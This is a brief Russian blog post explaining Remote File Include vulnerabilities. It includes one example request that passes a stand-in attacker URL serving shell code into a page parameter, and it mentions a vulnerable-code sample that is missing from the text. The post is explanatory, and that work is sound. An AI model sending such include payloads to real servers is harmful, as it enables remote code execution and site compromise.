апр
23
Что такое RFI?
Термин RFI (англ. Remote File Include) означает, как и следует фактически из наименования, удаленное выполнение файлов, включенных в скрипт посредством «include», непосредственно на стороне сервера. Или если так понятнее, то данная уязвимость позволить взломщику легко запустить любой свой удаленный скрипт на Вашем сервере.
Степень угрозы из разряда «максимальная». Неконтролируемый запуск сторонних скриптов на сервере приводит к 100% вероятности взлома такого сервера.
Как уже сказано выше RFI позволяет выполнять некий код или кусок кода из скрипта атакующего и происходит это в следствии отсутствия должного контроля (или его полное отсутствие) поступающих входных данных. Как, например, показано на абстрактном примере уязвимого кода сайта.

Как и в случае с LFI программист не позаботился о проверке передаваемого параметра, ожидая получить только «red» или «blue». Но злоумышленник не предрасположен к «помощи» разработчику, у него совершенно иная цель. Используя такой «дырявый» скрипт он с легкостью выполнит свой «шелл-код», например, вот таким запросом http://my_example_site.com/script.php?color=http://my_devil_site.com/shellcode.php
И не ждите, что атакующий ограничится простым удовлетворением своего «морального эго» удовлетворившись самим фактом взлома.
Как и у аналогичных уязвимостей подобного рода, RFI может быть и никогда не обнаружен ни админом, ни владельцем, если только нет внешних признаков неполадок на сайте или не произведен дефейс сайта.
Защититься от RFI пусть даже и хорошими, длинными, регулярно меняемыми паролями не получится. Такой вариант больше будет похож на самоуспокоение, например, чехлы для iphone 4 никак не спасут Ваш гаджет от бассейна с водой. Нужен иной подход – использование исключительно только проверенного программного кода и услуг грамотных программистов.